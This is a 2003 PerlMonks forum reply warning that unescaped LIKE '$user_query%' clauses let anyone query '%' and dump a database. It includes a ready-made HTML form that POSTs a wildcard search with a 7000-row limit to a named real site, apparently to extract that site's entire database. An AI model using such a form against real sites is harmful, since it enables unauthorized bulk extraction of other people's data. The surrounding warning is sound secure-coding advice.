in reply to Re: Parsing a boolean search string for SQL query
in thread Parsing a boolean search string for SQL query
I love people who put LIKE '$user_query%' into their SQL, especially when they don't restrict the query charset and/or result set size properly. It makes data mining really easy. You just query for % and generally get a database dump.....
Not suggesting that jeffa would for a moment, just a relevant note. Here is one example where you can easily extract the database. Here is another where the lack of server side checking lets you ask for the entire database (with a correctly crafted POST) and get it. For example this snippet of HTML will dump the ENTIRE braintrack database into your browser (the thank you for attending our source code is kinda funny in context).....
<FORM action="http://www.braintrack.com/search.htm" METHOD=POST> <INPUT TYPE="hidden" NAME="term1" value="%"> <INPUT TYPE="hidden" NAME="term2" value=""> <INPUT TYPE="hidden" NAME="term3" value=""> <INPUT TYPE="hidden" NAME= "join" value="and"> <INPUT TYPE="hidden" NAME="top" value="7000"> <INPUT TYPE=SUBMIT VALUE="Search"> </FORM>
I doubt that this is what was intended when they put the DB online. For the record I emailed braintrack.com about this issue some months ago but they have not done anything about it (or actually had the courtesy to reply, for that matter).
cheers
tachyon
s&&rsenoyhcatreve&&&s&n.+t&"$'$`$\"$\&"&ee&&y&srve&&d&&print
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
3Re: Parsing a boolean search string for SQL query
by jeffa (Bishop) on Sep 01, 2003 at 17:50 UTC | |
by tachyon (Chancellor) on Sep 01, 2003 at 17:58 UTC |